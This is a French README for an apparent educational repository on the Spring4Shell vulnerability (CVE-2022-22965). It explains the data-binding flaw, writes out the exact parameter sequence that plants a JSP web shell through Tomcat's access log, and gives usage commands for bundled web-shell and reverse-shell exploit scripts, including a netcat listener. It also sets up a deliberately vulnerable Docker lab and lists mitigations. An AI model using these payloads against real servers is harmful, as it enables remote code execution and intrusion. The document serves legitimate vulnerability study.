Description
Avertissement : Ce dépôt est destiné uniquement à des fins éducatives et de recherche. Tous les scripts d'exploitation doivent être utilisés exclusivement sur des systèmes dont vous êtes propriétaire ou pour lesquels vous avez une autorisation écrite explicite de tester. L'auteur n'est pas responsable de toute utilisation abusive ou des dommages causés par ce matériel.
Étude et preuve de concept pour CVE-2022-22965, une vulnérabilité critique d'exécution de code à distance (RCE) dans Spring Framework, divulguée publiquement en avril 2022.
Spring4Shell affecte les applications Spring MVC et Spring WebFlux lorsque toutes les conditions suivantes sont réunies :
| Condition | Valeur |
|---|---|
| Version JDK | 9 ou supérieure |
| Serveur d'application | Apache Tomcat |
| Emballage | WAR (pas JAR exécutable) |
| Spring Framework | < 5.3.18 ou < 5.2.20 |
Le mécanisme de liaison de données de Spring permet de mapper les paramètres de requête HTTP aux propriétés des objets Java en utilisant la notation pointée (ex. user.name=foo). La vulnérabilité survient car cette traversée n'est pas correctement restreinte — un attaquant peut atteindre le ClassLoader de la JVM à travers la hiérarchie de classes de l'objet modèle :
class.module.classLoader.resources.context.parent.pipeline.first.<property>
Ce chemin atteint AccessLogValve de Tomcat, dont la configuration de journalisation peut être manipulée à l'exécution. En modifiant des propriétés telles que pattern, directory, prefix, et suffix, l'attaquant redirige le journal d'accès de Tomcat pour écrire un fichier avec une extension .jsp contenant du code JSP arbitraire — plantant ainsi une web shell sur le serveur.
1. POST /vulnerable
class.module.classLoader.resources.context.parent.pipeline.first.pattern=<JSP payload>
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
2. Tomcat écrit le journal d'accès dans webapps/ROOT/shell.jsp avec la charge utile injectée
3. GET /shell.jsp?cmd=id → RCE
.
├── exploits/
│ ├── exploit1.py # web shell basé sur POST avec protection par mot de passe
│ ├── exploit2.py # web shell basé sur POST avec capacité de réinitialisation
│ ├── exploit3.py # variante basée sur GET (simplifiée)
│ ├── exploit4.py # shell TCP inverse (basé sur GET)
│ └── exploit4b.py # shell TCP inverse (basé sur POST)
└── springmvc5-helloworld-example/
├── Dockerfile # Utilise une image tomcat:9.0.60 pré-construite
├── Dockerfile2 # Construit à partir de openjdk:11 + télécharge Tomcat
├── pom.xml # Projet Maven — Spring MVC 5.3.17 (vulnérable)
└── src/ # Code source de l'application Spring MVC vulnérable
| Script | Méthode | Charge utile | Remarques |
|---|---|---|---|
exploit1.py | POST | Web shell (protégé par mot de passe) | Requête unique |
exploit2.py | POST | Web shell | Réinitialise la configuration du journal avant/après l'exploitation |
exploit3.py | GET | Web shell (sans mot de passe) | Paramètres via la chaîne de requête |
exploit4.py | GET | Shell TCP inverse | Charge utile JSP basée sur msfvenom |
exploit4b.py | POST | Shell TCP inverse | Même charge utile que exploit4, variante POST |
# Web shell
python3 exploits/exploit1.py http://target:8080/vulnerable
# Shell inverse (démarrer d'abord l'écouteur : nc -lvnp 4444)
python3 exploits/exploit4.py --url http://target:8080/vulnerable --lhost <YOUR_IP> --lport 4444
sudo apt install maven ou sudo dnf install maven)cd springmvc5-helloworld-example
mvn clean package
# Option 1 — image Tomcat pré-construite
docker build -t spring4shell .
docker run -p 8082:8080 spring4shell
# Option 2 — construction à partir de openjdk + téléchargement de Tomcat
docker build -t spring4shell -f Dockerfile2 .
docker run -p 8082:8080 spring4shell
L'application est alors disponible à l'adresse http://localhost:8082/vulnerable.
WebDataBinder.setDisallowedFields() pour bloquer la liaison classLoaderclass., Class., module., ou classLoaderRecherche originale et code d'exploitation par @march0n. Ce dépôt est une étude personnelle de la vulnérabilité à des fins d'apprentissage, avec documentation et analyse supplémentaires.